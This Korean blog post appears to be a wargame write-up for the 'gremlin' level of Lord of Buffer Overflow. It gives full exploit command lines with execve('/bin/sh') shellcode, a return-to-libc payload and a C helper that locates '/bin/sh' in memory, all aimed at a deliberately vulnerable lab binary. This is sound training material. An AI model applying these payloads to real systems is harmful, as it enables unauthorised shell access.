lob

gremlin

oogu ㅣ 2022. 11. 13. 15:21

[그림 1-1]

buf 변수의 크기가 16byte 밖에 안돼 buf 변수에 shellcode를 넣는건 안될 거 같다.

함수 인자값으로 payload를 넣어야한다. 

gdb로 분석 ㄱㄱ

[그림 1-2]

 

[그림 1-3]

[그림 1-3]를 보면 shellcode는 ret 밑에 넣어야할 거 같다.

따라서 payload는 "A" * 20 + shellcode 주소 + shellcode 방향을 잡고 해보자

shellcode 위치는 [그림 1-3] argc 위치에 들어가야한다. 따라서 argc 주소값을 찾아야한다.

[그림 1-4]

0x43434343 위치가 shellcode 들어가는 주소이다. -> BFFF FAF0 이다.

 

[그림 1-5]

 r "`python -c 'print("A"*20+"\xf0\xfa\xff\xbf" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")'`"

하고 주소에 맞게 들어갔는지 확인해보면 buf 주소가 바껴있다..

shellcode 주소를 0xbffffe0 으로 바꾸고 다시 해보자

[그림 1-6]

ret 값에 0xbffffe0 들어가고 0xbffffe0 주소값에 shellcode가 잘 들어가있다. 

 

따라서 payload는 ./attackme `python -c 'print("A"*20+"\xe0\xfa\xff\xbf" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")'`

 

[그림 1-7]

r "`python -c 'print("A"*20+"\xe0\xfa\xff\xbf" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")'`" 했을 경우와 r "`python -c 'print("A"*20+"BBBB"+"CCCC")'`" 했을 때 buf 주소가 왜 바뀌는지 모르겠다..

 

 

 

 

 

두 번째 방법은 RTL 방법이다.

payload =  A*20 + system 함수 주소 + dummy + '/bin/sh' 주소

따라서 system 함수 주소와 '/bin/sh' 주소를 구해야한다. 

[그림 2-1]

프로그램 실행 후 system 함수 주소는 쉽게 구할 수 있다.

#include <stdio.h>
int main()
{
    long shell = 0x40058ae0; // system 함수주소
    while(memcmp((void *)shell,"/bin/sh",8))
        shell++;
    printf("\"/bin/sh/\" : 0x%x\n",shell);
}

/bin/sh 주소는 위 코드를 컴파일 후 구할 수 있다.

[그림 2-2]

따라서 완성된 payload는 ./attackme `python -c 'print("A"*20+"\xe0\x8a\x05\x40"+"\xff\xff\xff\xff"+"\xf9\xbf\x0f\x40")'`

[그림 2-3]

'lob' 카테고리의 다른 글

wolfman  (0) 2022.12.09
orc  (0) 2022.12.09
goblin  (0) 2022.12.09
cobolt  (0) 2022.11.15
gate  (0) 2022.11.13